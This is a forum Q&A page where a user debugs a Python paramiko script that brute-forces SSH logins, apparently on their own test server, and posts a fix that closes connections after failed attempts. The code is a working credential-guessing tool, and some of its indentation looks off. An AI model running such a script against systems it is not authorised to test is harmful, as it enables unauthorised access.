简体   繁体   中英

Python script seems to be hanging

I have an SSH server that I've been testing a script that performs dictionary based attacks against. Generally, I use a single username:password combination file and loop through it, but recently I decided to modify my hobby script to allow for separate username and password combinations. I figured it would be a simple nested loop (I chose to store the passwords in a list instead of a file which I use for the usernames). Unfortunately, adding that second loop seems to have caused the program to hang for some reason that I just can't pinpoint. I feel like I'm missing something incredibly obvious here. The program execute fine and works as expected but it never seems to actually return...the script just hangs after finding the correct combination and never exits properly...I have to terminate it manually. The offending block is below...this is part of a larger method inside of a class I call from my primary script. The method is called and then the main script just exits so there's nothing there that would be causing this.

with open(self.pwds) as p:
    pwords = p.read().splitlines()
    try:
        format_text = colored('WARNING', 'yellow', attrs=['underline'])
    except:
        format_text = "WARNING"
    print (format_text, "warning_message")
    with open(self.words) as w:
        for line in w:
            line = line.replace("\n", "")
            user = line
            for x in pwords:
                passw = x
                print ("Trying: ", user, ":", passw)
                s = paramiko.SSHClient()
                s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

Thank you everyone for the attempts at solving this problem. I found the answer. I needed to close the SSH connection even on fail as indicated below.

                try:
                    s.connect(self.target, username=user, password=passw, timeout=3)
                except paramiko.ssh_exception.AuthenticationException:
                    try:
                        format_text = colored('FAILED', 'red')
                    except:
                        format_text = 'FAILED'
                        print (format_text)
                        s.close()
                else:
                    print ("SUCCESS!")
                    s.close()
                    return;

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM